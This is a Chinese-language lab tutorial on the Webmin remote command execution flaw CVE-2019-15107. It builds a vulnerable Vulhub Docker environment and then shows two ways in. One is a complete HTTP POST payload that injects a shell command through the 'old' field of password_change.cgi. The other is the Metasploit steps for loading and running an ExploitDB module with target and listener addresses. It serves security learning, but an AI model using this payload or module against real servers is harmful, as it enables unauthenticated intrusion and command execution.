Webmin远程命令执行漏洞(CVE-2019-15107)搭建及多种利用姿势-保姆级教程
字数 1047 2025-08-25 22:58:29
Webmin远程命令执行漏洞(CVE-2019-15107)分析与利用教程
漏洞概述
CVE-2019-15107是Webmin 1.890到1.920版本中存在的一个严重远程命令执行漏洞。该漏洞源于SourceForge上的Webmin被插入了恶意Perl qx语句,允许未经认证的攻击者在目标系统上执行任意命令。
环境搭建
使用Vulhub快速搭建漏洞环境
- 安装Docker和Docker-compose(Kali Linux):
apt install docker docker-compose
- 拉取并启动Vulhub镜像:
docker-compose up -d
- 验证容器运行状态:
docker ps
注意记录容器名称(如cve-2019-15107_web_1)和映射的端口(默认为10000)
漏洞利用前准备
修改Webmin默认密码
- 进入容器:
docker exec -it cve-2019-15107_web_1 /bin/bash
- 修改root密码为root:
cd /usr/share/webmin
./changepass.pl /etc/webmin root root
配置修改
-
访问Webmin界面(
http://<IP>:10000),使用root/root登录 -
启用密码修改功能(对于非1.890版本):
- 进入"Webmin Configuration"
- 在"password expiry policy"选择"Prompt users with expired passwords to enter a new one"
- 等待Webmin重启使配置生效
-
验证配置:
cat /etc/webmin/miniserv.conf | grep passwd_mode
应为passwd_mode=2
漏洞利用方法
方法一:直接HTTP请求利用
POC请求:
POST /password_change.cgi HTTP/1.1
Host: <target_IP>:10000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: redirect=1; testing=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
user=不存在用户名&pam=&expired=2&old=test|id&new1=test2&new2=test2
关键点:
user参数必须使用不存在的用户名old参数可插入任意命令(如|id)- Webmin默认使用HTTPS,确保请求发送到正确端口
方法二:使用Metasploit模块利用
- 下载ExploitDB上的模块:
wget https://www.exploit-db.com/exploits/47230 -O webmin_unauthenticated_rce.rb
- 将模块放入Metasploit目录:
mv webmin_unauthenticated_rce.rb /usr/share/metasploit-framework/modules/exploits/unix/webapp/
- 重载Metasploit模块:
msfconsole
msf5> reload_all
- 搜索并使用模块:
search webmin
use exploit/unix/webapp/webmin_unauthenticated_rce
- 设置参数:
set RHOSTS <target_IP>
set LHOST <your_IP>
set SSL true
- 执行攻击:
exploit
附录
附录A:容器内安装Vim
- 确定Linux发行版:
cat /etc/os-release
- 修改为国内源(Debian/Ubuntu):
echo "deb http://mirrors.ustc.edu.cn/debian stable main contrib non-free" > /etc/apt/sources.list
echo "deb-src http://mirrors.ustc.edu.cn/debian stable main contrib non-free" >> /etc/apt/sources.list
apt update
- 安装Vim:
apt install vim
附录B:获取容器信息
- 查看容器IP:
docker inspect <container_name> | grep IPAddress
- 查看容器详细信息:
docker inspect <container_name>
漏洞分析
漏洞存在于password_change.cgi文件中,当满足以下条件时触发:
miniserv.conf中passwd_mode=2- 请求发送到
password_change.cgi - 用户不存在时,Perl的
qx函数会执行old参数中的命令